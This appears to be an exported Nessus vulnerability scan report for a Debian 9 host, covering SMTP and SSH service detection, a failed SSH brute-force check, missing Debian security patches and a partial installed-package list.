/usr/sbin/exim4 -bd -q30m + + + +The remote host is running a mail (SMTP) server on this port. + +Since SMTP servers are the targets of spammers, it is recommended you disable it if you do not use it. +smtpserver_detect.nasl +2011/03/11 +SMTP Server Detection +1999/10/12 +remote +None +$Revision: 1.54 $ +Disable this service if you do not use it, or filter incoming traffic to this port. +An SMTP server is listening on the remote port. + +Remote SMTP server banner : + +220 abcvy031.intranet.example.org ESMTP Exim 4.89 Wed, 04 Apr 2018 14:29:14 +0200 + + + +Security patches may have been 'backported' to the remote SSH server without changing its version number. + +Banner-based checks have been disabled to avoid false positives. + +Note that this test is informational only and does not denote any security problem. +backported_security_patches_ssh.nasl +2015/07/07 +Backported Security Patch Detection (SSH) +2009/06/25 +remote +None +$Revision: 1.9 $ +https://access.redhat.com/security/updates/backporting/?sc_cid=3093 +n/a +Security patches are backported. + +Local checks have been enabled. + + + +unix +By logging into the remote host with the supplied credentials, Nessus was able to obtain the name of the process listening on the remote port. + +Note that the method used by this plugin only works for hosts running Linux or AIX. +process_on_port.nasl +2017/08/28 +Remote listeners enumeration (Linux / AIX) +2007/05/16 +local +None +1.20 +n/a +Using the supplied credentials, it was possible to identify the process listening on the remote port. + + Process ID : 675 + Executable : /usr/sbin/sshd + Command line : /usr/sbin/sshd -D + + + +This plugin determines the versions of the SSH protocol supported by the remote SSH daemon. +ssh_proto_version.nasl +2017/05/30 +SSH Protocol Versions Supported +2002/03/06 +remote +None +$Revision: 1.35 $ +n/a +A SSH server is running on the remote host. +The remote SSH daemon supports the following versions of the +SSH protocol : + + - 1.99 + - 2.0 + + + +The account shown below on the remote host has an easily guessable password. An attacker may leverage this issue to gain total control of the affected system. +true +Exploits are available +offsec_ssh_account_check.nasl +SSH Account Brute-Force +2018/02/26 +remote +None +$Revision: 1.22 $ +Change the password for this account or disable it. +An account on the remote host uses a known password. + +It was possible to gain access using the following credentials: + +Following error messages occurred: + +[ERROR] target ssh://127.0.0.1:22/ does not support password authentication. + + +This script detects which algorithms and languages are supported by the remote service for encrypting communications. +ssh_supported_algorithms.nasl +2017/08/28 +SSH Algorithms and Languages Supported +2013/10/28 +remote +None +$Revision: 1.6 $ +n/a +An SSH server is listening on this port. + +Nessus negotiated the following encryption algorithm with the server : + +The server supports the following options for kex_algorithms : + + curve25519-sha256 + curve25519-sha256@libssh.org + diffie-hellman-group-exchange-sha256 + diffie-hellman-group14-sha1 + diffie-hellman-group14-sha256 + diffie-hellman-group16-sha512 + diffie-hellman-group18-sha512 + ecdh-sha2-nistp256 + ecdh-sha2-nistp384 + ecdh-sha2-nistp521 + +The server supports the following options for server_host_key_algorithms : + + ecdsa-sha2-nistp256 + rsa-sha2-256 + rsa-sha2-512 + ssh-ed25519 + ssh-rsa + +The server supports the following options for encryption_algorithms_client_to_server : + + aes128-ctr + aes128-gcm@openssh.com + aes192-ctr + aes256-ctr + aes256-gcm@openssh.com + chacha20-poly1305@openssh.com + +The server supports the following options for encryption_algorithms_server_to_client : + + aes128-ctr + aes128-gcm@openssh.com + aes192-ctr + aes256-ctr + aes256-gcm@openssh.com + chacha20-poly1305@openssh.com + +The server supports the following options for mac_algorithms_client_to_server : + + hmac-sha1 + hmac-sha1-etm@openssh.com + hmac-sha2-256 + hmac-sha2-256-etm@openssh.com + hmac-sha2-512 + hmac-sha2-512-etm@openssh.com + umac-128-etm@openssh.com + umac-128@openssh.com + umac-64-etm@openssh.com + umac-64@openssh.com + +The server supports the following options for mac_algorithms_server_to_client : + + hmac-sha1 + hmac-sha1-etm@openssh.com + hmac-sha2-256 + hmac-sha2-256-etm@openssh.com + hmac-sha2-512 + hmac-sha2-512-etm@openssh.com + umac-128-etm@openssh.com + umac-128@openssh.com + umac-64-etm@openssh.com + umac-64@openssh.com + +The server supports the following options for compression_algorithms_client_to_server : + + none + zlib@openssh.com + +The server supports the following options for compression_algorithms_server_to_client : + + none + zlib@openssh.com + + + +It is possible to obtain information about the remote SSH server by sending an empty authentication request. +ssh_detect.nasl +2017/12/19 +SSH Server Type and Version Information +1999/10/12 +remote +None +2.15 +n/a +An SSH server is listening on this port. + +SSH version : SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u1 +SSH supported authentication : publickey + + + +all +This plugin displays, for each tested host, information about the scan itself : + + - The version of the plugin set. + - The type of scanner (Nessus or Nessus Home). + - The version of the Nessus Engine. + - The port scanner(s) used. + - The port range scanned. + - Whether credentialed or third-party patch management checks are possible. + - The date of the scan. + - The duration of the scan. + - The number of hosts scanned in parallel. + - The number of checks done in parallel. +scan_info.nasl +2017/10/26 +Nessus Scan Information +2005/08/26 +summary +None +$Revision: 1.90 $ +n/a +This plugin displays information about the Nessus scan. +Information about this scan : + +Nessus version : 7.0.2 +Plugin feed version : 201803062115 +Scanner edition used : Nessus +Scan type : Normal +Scan policy used : Advanced Scan +Scanner IP : 127.0.0.1 +Thorough tests : no +Experimental tests : no +Paranoia level : 1 +Report verbosity : 1 +Safe checks : yes +Optimize the test : yes +Credentialed checks : yes (on the localhost) +Attempt Least Privilege : no +Patch management checks : None +CGI scanning : disabled +Web application tests : disabled +Max hosts : 100 +Max checks : 5 +Recv timeout : 5 +Backports : Detected +Allow post-scan editing: Yes +Scan Start Date : 2018/4/4 14:28 CEST +Scan duration : 1876 sec + + + +all +The remote host is missing one or more security patches. This plugin lists the newest version of each patch to install to make sure the remote host is up-to-date. +patches_summary.nbin +2018/03/05 +Patch Report +2013/07/08 +local +None +$Revision: 1.104 $ +Install the patches listed below. +The remote host is missing several patches. + + +. You need to take the following 13 actions : + + +[ Debian DSA-4059-1 : libxcursor - security update (105120) ] + ++ Action to take : Upgrade the libxcursor packages. + +For the oldstable distribution (jessie), these problems have been fixed in version 1:1.1.14-1+deb8u1. + +For the stable distribution (stretch), these problems have been fixed in version 1:1.1.14-1+deb9u1. + + +[ Debian DSA-4065-1 : openssl1.0 - security update (105329) ] + ++ Action to take : Upgrade the openssl1.0 packages. + +For the stable distribution (stretch), these problems have been fixed in version 1.0.2l-2+deb9u2. + ++Impact : Taking this action will resolve 2 different vulnerabilities (CVEs). + + + +[ Debian DSA-4068-1 : rsync - security update (105332) ] + ++ Action to take : Upgrade the rsync packages. + +For the oldstable distribution (jessie), these problems have been fixed in version 3.1.1-3+deb8u1. + +For the stable distribution (stretch), these problems have been fixed in version 3.1.2-1+deb9u1. + ++Impact : Taking this action will resolve 3 different vulnerabilities (CVEs). + + + +[ Debian DSA-4071-1 : sensible-utils - security update (105431) ] + ++ Action to take : Upgrade the sensible-utils packages. + +For the oldstable distribution (jessie), this problem has been fixed in version 0.0.9+deb8u1. + +For the stable distribution (stretch), this problem has been fixed in version 0.0.9+deb9u1. + + +[ Debian DSA-4086-1 : libxml2 - security update (105801) ] + ++ Action to take : Upgrade the libxml2 packages. + +For the oldstable distribution (jessie), this problem has been fixed in version 2.9.1+dfsg1-5+deb8u6. + +For the stable distribution (stretch), this problem has been fixed in version 2.9.4+dfsg1-2.2+deb9u2. + + +[ Debian DSA-4088-1 : gdk-pixbuf - security update (106056) ] + ++ Action to take : Upgrade the gdk-pixbuf packages. + +For the oldstable distribution (jessie), this problem has been fixed in version 2.31.1-2+deb8u7. + +For the stable distribution (stretch), this problem has been fixed in version 2.36.5-2+deb9u2. In addition this update provides fixes for CVE-2017-6312, CVE-2017-6313 and CVE-2017-6314. + + +[ Debian DSA-4089-1 : bind9 - security update (106076) ] + ++ Action to take : Upgrade the bind9 packages. + +For the oldstable distribution (jessie), this problem has been fixed in version 1:9.9.5.dfsg-9+deb8u15. + +For the stable distribution (stretch), this problem has been fixed in version 1:9.10.3.dfsg.P4-12.3+deb9u4. + + +[ Debian DSA-4098-1 : curl - security update (106412) ] + ++ Action to take : Upgrade the curl packages. + +For the oldstable distribution (jessie), these problems have been fixed in version 7.38.0-4+deb8u9. + +For the stable distribution (stretch), these problems have been fixed in version 7.52.1-5+deb9u4. + ++Impact : Taking this action will resolve 2 different vulnerabilities (CVEs). + + + +[ Debian DSA-4100-1 : tiff - security update (106414) ] + ++ Action to take : Upgrade the tiff packages. + +For the oldstable distribution (jessie), these problems have been fixed in version 4.0.3-12.3+deb8u5. + +For the stable distribution (stretch), these problems have been fixed in version 4.0.8-2+deb9u2. + + +[ Debian DSA-4106-1 : libtasn1-6 - security update (106661) ] + ++ Action to take : Upgrade the libtasn1-6 packages. + +For the stable distribution (stretch), these problems have been fixed in version 4.10-1.1+deb9u1. + ++Impact : Taking this action will resolve 2 different vulnerabilities (CVEs). + + + +[ Debian DSA-4110-1 : exim4 - security update (106728) ] + ++ Action to take : Upgrade the exim4 packages. + +For the oldstable distribution (jessie), this problem has been fixed in version 4.84.2-2+deb8u5. + +For the stable distribution (stretch), this problem has been fixed in version 4.89-2+deb9u3. + + +[ Debian DSA-4113-1 : libvorbis - security update (106852) ] + ++ Action to take : Upgrade the libvorbis packages. + +For the stable distribution (stretch), these problems have been fixed in version 1.3.5-4+deb9u1. + ++Impact : Taking this action will resolve 2 different vulnerabilities (CVEs). + + + +[ Debian DSA-4120-1 : linux - security update (Meltdown) (Spectre) (106955) ] + ++ Action to take : Upgrade the linux packages. + +For the stable distribution (stretch), these problems have been fixed in version 4.9.82-1+deb9u2. + ++Impact : Taking this action will resolve 22 different vulnerabilities (CVEs). + + + + + + +Based on the remote operating system, it is possible to determine what the remote system type is (eg: a printer, router, general-purpose computer, etc). +device_type.nasl +2011/05/23 +Device Type +2011/05/23 +combined +None +$Revision: 1.1 $ +n/a +It is possible to guess the remote device type. +Remote device type : general-purpose +Confidence level : 100 + + + +all +By using information obtained from a Nessus scan, this plugin reports CPE (Common Platform Enumeration) matches for various hardware and software products found on a host. + +Note that if an official CPE is not available for the product, this plugin computes the best possible CPE based on the information available from the scan. +cpe.nbin +2017/06/06 +Common Platform Enumeration (CPE) +2010/04/21 +local +None +$Revision: 1.71$ +http://cpe.mitre.org/ +https://nvd.nist.gov/products/cpe +n/a +It was possible to enumerate CPE names that matched on the remote system. + +The remote operating system matched the following CPE : + + cpe:/o:debian:debian_linux:9.2 + +Following application CPE matched on the remote system : + + cpe:/a:openbsd:openssh:7.4 + + + +all +Using a combination of remote probes (e.g., TCP/IP, SMB, HTTP, NTP, SNMP, etc.), it is possible to guess the name of the remote operating system in use. It is also possible sometimes to guess the version of the operating system. +os_fingerprint.nasl +2018/01/19 +OS Identification +2003/12/09 +combined +None +$Revision: 2.44 $ +n/a +It is possible to guess the remote operating system. + +Remote operating system : Linux Kernel 4.9.0-4-amd64 on Debian 9.2 +Confidence level : 100 +Method : LinuxDistribution + +Not all fingerprints could give a match. If you think some or all of +the following could be used to identify the host's operating system, +please email them to os-signatures@nessus.org. Be sure to include a +brief description of the host itself, such as the actual operating +system or product / model names. + +SSH:!:SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u1 +uname:Linux abcvy031 4.9.0-4-amd64 #1 SMP Debian 4.9.51-1 (2017-09-28) x86_64 GNU/Linux + +SMTP:!:220 abcvy031.intranet.example.org ESMTP Exim 4.89 Wed, 04 Apr 2018 14:29:14 +0200 + + +The remote host is running Linux Kernel 4.9.0-4-amd64 on Debian 9.2 + + +p-cpe:/a:debian:debian_linux:linux +cpe:/o:debian:debian_linux:9.0 +CVE-2017-5754 +5.6 +CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N +4.7 +CVSS2#AV:L/AC:M/Au:N/C:C/I:N/A:N +Multiple researchers have discovered a vulnerability in Intel processors, enabling an attacker controlling an unprivileged process to read memory from arbitrary addresses, including from the kernel and all other processes running on the system. + +This specific attack has been named Meltdown and is addressed in the Linux kernel for the Intel x86-64 architecture by a patch set named Kernel Page Table Isolation, enforcing a near complete separation of the kernel and userspace address maps and preventing the attack. This solution might have a performance impact, and can be disabled at boot time by passing pti=off to the kernel command line. + +We also identified a regression for ancient userspaces using the vsyscall interface, for example chroot and containers using (e)glibc 2.13 and older, including those based on Debian 7 or RHEL/CentOS 6. +This regression will be fixed in a later update. + +The other vulnerabilities (named Spectre) published at the same time are not addressed in this update and will be fixed in a later update. +4078 +true +Exploits are available +true +debian_DSA-4078.nasl +2018-A-0019 +true +2018/01/04 +2018/02/08 +Debian DSA-4078-1 : linux - security update (Meltdown) +2018/01/05 +local +Medium +$Revision: 3.9 $ +https://security-tracker.debian.org/tracker/linux +https://packages.debian.org/source/stretch/linux +http://www.debian.org/security/2018/dsa-4078 +Upgrade the linux packages. + +For the oldstable distribution (jessie), this problem will be fixed in a separate update. + +For the stable distribution (stretch), this problem has been fixed in version 4.9.65-3+deb9u2. +I +The remote Debian host is missing a security-related update. +DSA:4078 +IAVA:2018-A-0019 + +Remote package installed : linux-compiler-gcc-6-x86_4.9.51-1 +Should be : linux-compiler-gcc-6-x86_4.9.65-3+deb9u2 +Remote package installed : linux-headers-4.9.0-4-amd64_4.9.51-1 +Should be : linux-headers-4.9.0-3-amd64_4.9.65-3+deb9u2 +Remote package installed : linux-headers-4.9.0-4-common_4.9.51-1 +Should be : linux-headers-4.9.0-3-common_4.9.65-3+deb9u2 +Remote package installed : linux-headers-4.9.0-4-amd64_4.9.51-1 +Should be : linux-headers-4.9.0-4-amd64_4.9.65-3+deb9u2 +Remote package installed : linux-headers-4.9.0-4-common_4.9.51-1 +Should be : linux-headers-4.9.0-4-common_4.9.65-3+deb9u2 +Remote package installed : linux-headers-4.9.0-4-amd64_4.9.51-1 +Should be : linux-headers-4.9.0-5-amd64_4.9.65-3+deb9u2 +Remote package installed : linux-headers-4.9.0-4-common_4.9.51-1 +Should be : linux-headers-4.9.0-5-common_4.9.65-3+deb9u2 +Remote package installed : linux-image-4.9.0-4-amd64_4.9.51-1 +Should be : linux-image-4.9.0-3-amd64_4.9.65-3+deb9u2 +Remote package installed : linux-image-4.9.0-4-amd64_4.9.51-1 +Should be : linux-image-4.9.0-4-amd64_4.9.65-3+deb9u2 +Remote package installed : linux-image-4.9.0-4-amd64_4.9.51-1 +Should be : linux-image-4.9.0-5-amd64_4.9.65-3+deb9u2 +Remote package installed : linux-kbuild-4.9_4.9.51-1 +Should be : linux-kbuild-4.9_4.9.65-3+deb9u2 +Remote package installed : linux-libc-dev_4.9.51-1 +Should be : linux-libc-dev_4.9.65-3+deb9u2 + + + +unix +2.1 +CVSS2#AV:N/AC:H/Au:S/C:N/I:P/A:N +Some daemon processes on the remote host are associated with programs that have been installed manually. + +System administration best practice dictates that an operating system's native package management tools be used to manage software installation, updates, and removal whenever possible. +unpackaged_daemons.nasl +2017/08/28 +Network daemons not managed by the package system +2008/08/08 +remote +Low +1.13 +Use packages supplied by the operating system vendor whenever possible. + +And make sure that manual software installation agrees with your organization's acceptable use and security policies. +Some daemon processes on the remote host are associated with programs that have been installed manually. + +The following running daemons are not managed by dpkg : + +/root/.rbenv/versions/2.4.3/bin/ruby +/var/lib/udf/.rbenv/versions/2.5.0/bin/ruby + + + +unix +Using the supplied credentials, Nessus was able to determine when the host was last started. +last_reboot.nasl +2015/08/21 +Time of Last System Startup +2011/10/12 +local +None +$Revision: 1.6 $ +n/a +The system has been started. + + reboot system boot 4.9.0-4-amd64 Tue Apr 3 14:59 still running + + wtmp begins Tue Apr 3 12:31:26 2018 + + +unix +Nessus was able to list the software installed on the remote host by calling the appropriate command (e.g., 'rpm -qa' on RPM-based Linux distributions, qpkg, dpkg, etc.). +unix_enum_sw.nasl +2017/07/28 +Software Enumeration (SSH) +2006/10/15 +remote +None +$Revision: 1.24 $ +Remove any software that is not in compliance with your organization's acceptable use and security policies. +It was possible to enumerate installed software on the remote host via SSH. + +Here is the list of packages installed on the remote Debian Linux system : + + ii adduser 3.115 all add and remove users and groups + ii adwaita-icon-theme 3.22.0-1+deb9u1 all default icon theme of GNOME + ii apt 1.4.8 amd64 commandline package manager + ii apt-listchanges 3.10 all package change history notification tool + ii apt-transport-https 1.4.8 amd64 https download transport for APT + ii apt-utils 1.4.8 amd64 package management related utility programs + ii at-spi2-core 2.22.0-6+deb9u1 amd64 Assistive Technology Service Provider Interface (dbus core) + ii atop 2.2.6-4 amd64 Monitor for system resources and process activity + ii autoconf 2.69-10 all automatic configure script builder + ii autoconf-archive 20160916-1 all Autoconf Macro Archive + ii autogen 1:5.18.12-3 amd64 automated text file generator + ii autogen-doc 1:5.18.12-3 all automated text file generator - documentation + ii automake 1:1.15-6 all Tool for generating GNU Standards-compliant Makefiles + ii autotools-dev 20161112.1 all Update infrastructure for config.{guess,sub} files + ii base-files 9.9+deb9u2 amd64 Debian base system miscellaneous files + ii base-passwd 3.5.43 amd64 Debian base system master password and group files + ii bash 4.4-5 amd64 GNU Bourne Again SHell + ii bash-completion 1:2.1-4.3 all programmable completion for the bash shell + ii bind9-host 1:9.10.3.dfsg.P4-12.3+deb9u3 amd64 Version of 'host' bundled with BIND 9.X + ii binutils 2.28-5 amd64 GNU assembler, linker and binary utilities + ii bison 2:3.0.4.dfsg-1+b1 amd64 YACC-compatible parser generator + ii bmon 1:4.0-1 amd64 portable bandwidth monitor and rate estimator + ii bsdmainutils 9.0.12+nmu1 amd64 collection of more utilities from FreeBSD + ii bsdutils 1:2.29.2-1 amd64 basic utilities from 4.4BSD-Lite + ii build-essential 12.3 amd64 Informational list of build-essential packages + ii busybox 1:1.22.0-19+b3 amd64 Tiny utilities for small and embedded systems + ii bzip2 1.0.6-8.1 amd64 high-quality block-sorting file compressor - utilities + ii ca-certificates 20161130+nmu1 all Common CA certificates + ii ca-certificates-java 20170531+nmu1 all Common CA certificates (JKS keystore) + ii console-setup 1.164 all console font and keymap setup program + ii console-setup-linux 1.164 all Linux specific part of console-setup + ii coreutils 8.26-3 amd64 GNU core utilities + ii cpio 2.11+dfsg-6 amd64 GNU cpio -- a program to manage archives of files + ii cpp 4:6.3.0-4 amd64 GNU C preprocessor (cpp) + ii cpp-6 6.3.0-18 amd64 GNU C preprocessor + ii cron 3.0pl1-128+b1 amd64 process scheduling daemon + ii cryptsetup 2:1.7.3-4 amd64 disk encryption support - startup scripts + ii cryptsetup-bin 2:1.7.3-4 amd64 disk encryption support - command line tools + ii curl 7.52.1-5+deb9u3 amd64 command line tool for transferring data with URL syntax + ii dash 0.5.8-2.4 amd64 POSIX-compliant shell + ii dbus 1.10.22-0+deb9u1 amd64 simple interprocess messaging system (daemon and utilities) + ii dconf-gsettings-backend 0.26.0-2+b1 amd64 simple configuration storage system - GSettings back-end + ii dconf-service 0.26.0-2+b1 amd64 simple configuration storage system - D-Bus service + ii debconf 1.5.61 all Debian configuration management system + ii debconf-i18n 1.5.61 all full internationalization support for debconf + ii debian-archive-keyring 2017.5 all GnuPG archive keys of the Debian archive + ii debian-faq 8.1 all Debian Frequently Asked Questions + ii debianutils 4.8.1.1 amd64 Miscellaneous utilities specific to Debian + ii dh-python 2.20170125 all Debian helper tools for packaging Python libraries and applications + ii dictionaries-common 1.27.2 all spelling dictionaries - common utilities + ii diffutils 1:3.5-3 amd64 File comparison utilities + ii dirmngr 2.1.18-8~deb9u1 amd64 GNU privacy guard - network certificate management service + ii discover 2.1.2-7.1 amd64 hardware identification system + ii discover-data 2.2013.01.11 all Data lists for Discover hardware detection system + ii distro-info-data 0.36 all information about the distributions' releases (data files) + ii dkms 2.3-2 all Dynamic Kernel Module Support Framework + ii dmeventd 2:1.02.137-2 amd64 Linux Kernel Device Mapper event daemon + ii dmidecode 3.0-4 amd64 SMBIOS/DMI table decoder + ii dmsetup 2:1.02.137-2 amd64 Linux Kernel Device Mapper userspace library + ii doc-debian 6.4 all Debian Project documentation and other documents + ii dpkg 1.18.24 amd64 Debian package management system + ii dpkg-dev 1.18.24 all Debian package development tools + ii e2fslibs 1.43.4-2 amd64 ext2/ext3/ext4 file system libraries + ii e2fsprogs 1.43.4-2 amd64 ext2/ext3/ext4 file system utilities + ii eject 2.1.5+deb1+cvs20081104-13.2 amd64 ejects CDs and operates CD-Changers under Linux + ii emacsen-common 2.0.8 all Common facilities for all emacsen + ii ethtool 1:4.8-1+b1 amd64 display or change Ethernet device settings + ii exim4 4.89-2+deb9u2 all metapackage to ease Exim MTA (v4) installation + ii exim4-base 4.89-2+deb9u2 amd64 support files for all Exim MTA (v4) packages + ii exim4-config 4.89-2+deb9u2 all configuration for the Exim MTA (v4) + ii exim4-daemon-light 4.89-2+deb9u2 amd64 lightweight Exim MTA (v4) daemon + ii fakeroot 1.21-3.1 amd64 tool for simulating superuser privileges + ii file 1:5.30-1+deb9u1 amd64 Recognize the type of data in a file using "magic" numbers + ii findutils 4.6.0+git+20161106-2 amd64 utilities for finding files--find, xargs + ii firebird3.0-common 3.0.1.32609.ds4-14 all common files for firebird 3.0 server, client and utilities + ii firebird3.0-common-doc 3.0.1.32609.ds4-14 all copyright, licensing and changelogs of firebird3.0 + ii fontconfig 2.11.0-6.7+b1 amd64 generic font configuration library - support binaries + ii fontconfig-config 2.11.0-6.7 all generic font configuration library - configuration + ii fonts-dejavu-core 2.37-1 all Vera font family derivate with additional characters + ii fonts-dejavu-extra 2.37-1 all Vera font family derivate with additional characters (extra variants) + ii fonts-lato 2.0-1 all sans-serif typeface family font + ii fuse 2.9.7-1 amd64 Filesystem in Userspace + ii g++ 4:6.3.0-4 amd64 GNU C++ compiler + ii g++-6 6.3.0-18 amd64 GNU C++ compiler + ii gcc 4:6.3.0-4 amd64 GNU C compiler + ii gcc-6 6.3.0-18 amd64 GNU C compiler + ii gcc-6-base 6.3.0-18 amd64 GCC, the GNU Compiler Collection (base package) + ii geoip-database 20170512-1 all IP lookup command line tools that use the GeoIP library (country database) + ii gettext-base 0.19.8.1-2 amd64 GNU Internationalization utilities for the base system + ii git 1:2.11.0-3+deb9u2 amd64 fast, scalable, distributed revision control system + ii git-core 1:2.11.0-3+deb9u2 all fast, scalable, distributed revision control system (obsolete) + ii git-man 1:2.11.0-3+deb9u2 all fast, scalable, distributed revision control system (manual pages) + ii glib-networking 2.50.0-1+b1 amd64 network-related giomodules for GLib + ii glib-networking-common 2.50.0-1 all network-related giomodules for GLib - data files + ii glib-networking-services 2.50.0-1+b1 amd64 network-related giomodules for GLib - D-Bus services + ii gnome-icon-theme 3.12.0-2 all GNOME Desktop icon theme + ii gnupg 2.1.18-8~deb9u1 amd64 GNU privacy guard - a free PGP replacement + ii gnupg-agent 2.1.18-8~deb9u1 amd64 GNU privacy guard - cryptographic agent + ii gpgv 2.1.18-8~deb9u1 amd64 GNU privacy guard - signature verification tool + ii grep 2.27-2 amd64 GNU grep, egrep and fgrep + ii groff-base 1.22.3-9 amd64 GNU troff text-formatting system (base system components) + ii grub-common 2.02~beta3-5 amd64 GRand Unified Bootloader (common files) + ii grub-pc 2.02~beta3-5 amd64 GRand Unified Bootloader, version 2 (PC/BIOS version) + ii grub-pc-bin 2.02~beta3-5 amd64 GRand Unified Bootloader, version 2 (PC/BIOS binaries) + ii grub2-common 2.02~beta3-5 amd64 GRand Unified Bootloader (common files for version 2) + ii gsettings-desktop-schemas 3.22.0-1 all GSettings desktop-wide schemas + ii gtk-update-icon-cache 3.22.11-1 amd64 icon theme caching utility + ii guile-2.0-libs 2.0.13+1-4 amd64 Core Guile libraries + ii gzip 1.6-5+b1 amd64 GNU compression utilities + ii hdparm 9.51+ds-1 amd64 tune hard disk parameters for high performance + ii hicolor-icon-theme 0.15-1 all default fallback theme for FreeDesktop.org icon themes + ii hostname 3.18+b1 amd64 utility to set/show the host name or domain name + ii htop 2.0.2-1 amd64 interactive processes viewer + ii hydra 8.3-3 amd64 very fast network logon cracker + ii iamerican 3.4.00-5 all American English dictionary for ispell (standard version) + ii ibritish 3.4.00-5 all British English dictionary for ispell (standard version) + ii icu-devtools 57.1-6 amd64 Development utilities for International Components for Unicode + ii ienglish-common 3.4.00-5 all Common files for British and American ispell dictionaries + ii iftop 1.0~pre4-4 amd64 displays bandwidth usage information on an network interface + ii ifupdown 0.8.19 amd64 high level tools to configure network interfaces + ii init 1.48 amd64 metapackage ensuring an init system is installed + ii init-system-helpers 1.48 all helper tools for all init systems + ii initramfs-tools 0.130 all generic modular initramfs generator (automation) + ii initramfs-tools-core 0.130 all generic modular initramfs generator (core tools) + ii installation-report 2.62 all system installation report + ii iotop 0.6-2 amd64 simple top-like I/O monitor + ii iproute2 4.9.0-1 amd64 networking and traffic control tools + ii iptables 1.6.0+snapshot20161117-6 amd64 administration tools for packet filtering and NAT + ii iptraf 1:1.1.4-6 all transitional package to iptraf-ng + ii iptraf-ng 1:1.1.4-6 amd64 Next Generation Interactive Colorful IP LAN Monitor + ii iputils-ping 3:20161105-1 amd64 Tools to test the reachability of network hosts + ii isc-dhcp-client 4.3.5-3 amd64 DHCP client for automatically obtaining an IP address + ii isc-dhcp-common 4.3.5-3 amd64 common manpages relevant to all of the isc-dhcp packages + ii iso-codes 3.75-1 all ISO language, territory, currency, script codes and their translations + ii ispell 3.4.00-5 amd64 International Ispell (an interactive spelling corrector) + ii java-common 0.58 all Base package for Java runtimes + ii javascript-common 11 all Base support for JavaScript library packages + ii kbd 2.0.3-2+b1 amd64 Linux console font and keytable utilities + ii keyboard-configuration 1.164 all system-wide keyboard preferences + ii klibc-utils 2.0.4-9 amd64 small utilities built with klibc for early boot + ii kmod 23-2 amd64 tools for managing Linux kernel modules + ii krb5-locales 1.15-1+deb9u1 all internationalization support for MIT Kerberos + ii laptop-detect 0.13.8 amd64 system chassis type checker + ii less 481-2.1 amd64 pager program similar to more + ii libacl1 2.2.52-3+b1 amd64 Access control list shared library + ii libalgorithm-diff-perl 1.19.03-1 all module to find differences between files + ii libalgorithm-diff-xs-perl 0.04-4+b2 amd64 module to find differences between files (XS accelerated) + ii libalgorithm-merge-perl 0.08-3 all Perl module for three-way merge of textual data + ii libapparmor1 2.11.0-3 amd64 changehat AppArmor library + ii libapr1 1.5.2-5 amd64 Apache Portable Runtime Library + ii libaprutil1 1.5.4-3 amd64 Apache Portable Runtime Utility Library + ii libapt-inst2.0 1.4.8 amd64 deb package format runtime library + ii libapt-pkg5.0 1.4.8 amd64 package management runtime library + ii libasan3 6.3.0-18 amd64 AddressSanitizer -- a fast memory error detector + ii libasound2 1.1.3-5 amd64 shared library for ALSA applications + ii libasound2-data 1.1.3-5 all Configuration files and profiles for ALSA drivers + ii libassuan0 2.4.3-2 amd64 IPC library for the GnuPG components + ii libasyncns0 0.8-6 amd64 Asynchronous name service query library + ii libatk-bridge2.0-0 2.22.0-2 amd64 AT-SPI 2 toolkit bridge - shared library + ii libatk-wrapper-java 0.33.3-13 all ATK implementation for Java using JNI + ii libatk-wrapper-java-jni 0.33.3-13 amd64 ATK implementation for Java using JNI (JNI bindings) + ii libatk1.0-0 2.22.0-1 amd64 ATK accessibility toolkit + ii libatk1.0-data 2.22.0-1 all Common files for the ATK accessibility toolkit + ii libatomic1 6.3.0-18 amd64 support library providing __atomic built-in functions + ii libatspi2.0-0 2.22.0-6+deb9u1 amd64 Assistive Technology Service Provider Interface - shared library + ii libattr1 1:2.4.47-2+b2 amd64 Extended attribute shared library + ii libaudit-common 1:2.6.7-2 all Dynamic library for security auditing - common files + ii libaudit1 1:2.6.7-2 amd64 Dynamic library for security auditing + ii libavahi-client3 0.6.32-2 amd64 Avahi client library + ii libavahi-common-data 0.6.32-2 amd64 Avahi common data files + ii libavahi-common3 0.6.32-2 amd64 Avahi common library + ii libbind9-140 1:9.10.3.dfsg.P4-12.3+deb9u3 amd64 BIND9 Shared Library used by BIND + ii libbison-dev 2:3.0.4.dfsg-1+b1 amd64 YACC-compatible parser generator - development library + ii libblas-common 3.7.0-2 amd64 Dependency package for all BLAS implementations + ii libblas3 3.7.0-2 amd64 Basic Linear Algebra Reference implementations, shared library + ii libblkid1 2.29.2-1 amd64 block device ID library + ii libbsd0 0.8.3-1 amd64 utility functions from BSD systems - shared library + ii libbz2-1.0 1.0.6-8.1 amd64 high-quality block-sorting file compressor library - runtime + ii libc-bin 2.24-11+deb9u1 amd64 GNU C Library: Binaries + ii libc-dev-bin 2.24-11+deb9u1 amd64 GNU C Library: Development binaries + ii libc-l10n 2.24-11+deb9u1 all GNU C Library: localization files + ii libc6 2.24-11+deb9u1 amd64 GNU C Library: Shared libraries + ii libc6-dev 2.24-11+deb9u1 amd64 GNU C Library: Development Libraries and Header Files + ii libcairo-gobject2 1.14.8-1 amd64 Cairo 2D vector graphics library (GObject library) + ii libcairo2 1.14.8-1 amd64 Cairo 2D vector graphics library + ii libcap-ng0 0.7.7-3+b1 amd64 An alternate POSIX capabilities library + ii libcap2 1:2.25-1 amd64 POSIX 1003.1e capabilities (library) + ii libcc1-0 6.3.0-18 amd64 GCC cc1 plugin for GDB + ii libcilkrts5 6.3.0-18 amd64 Intel Cilk Plus language extensions (runtime) + ii libclass-isa-perl 0.36-5 all report the search path for a class's ISA tree + ii libcolord2 1.3.3-2 amd64 system service to manage device colour profiles -- runtime + ii libcomerr2 1.43.4-2 amd64 common error description library + ii libconfuse-common 3.0+dfsg-2 all Common files for libConfuse + ii libconfuse1 3.0+dfsg-2 amd64 Library for parsing configuration files + ii libcroco3 0.6.11-3 amd64 Cascading Style Sheet (CSS) parsing and manipulation toolkit + ii libcryptsetup4 2:1.7.3-4 amd64 disk encryption support - shared library + ii libcups2 2.2.1-8 amd64 Common UNIX Printing System(tm) - Core library + ii libcurl3 7.52.1-5+deb9u3 amd64 easy-to-use client-side URL transfer library (OpenSSL flavour) + ii libcurl3-gnutls 7.52.1-5+deb9u3 amd64 easy-to-use client-side URL transfer library (GnuTLS flavour) + ii libcurl4-openssl-dev 7.52.1-5+deb9u3 amd64 development files and documentation for libcurl (OpenSSL flavour) + ii libdatrie1 0.2.10-4+b1 amd64 Double-array trie library + ii libdb5.3 5.3.28-12+deb9u1 amd64 Berkeley v5.3 Database Libraries [runtime] + ii libdbus-1-3 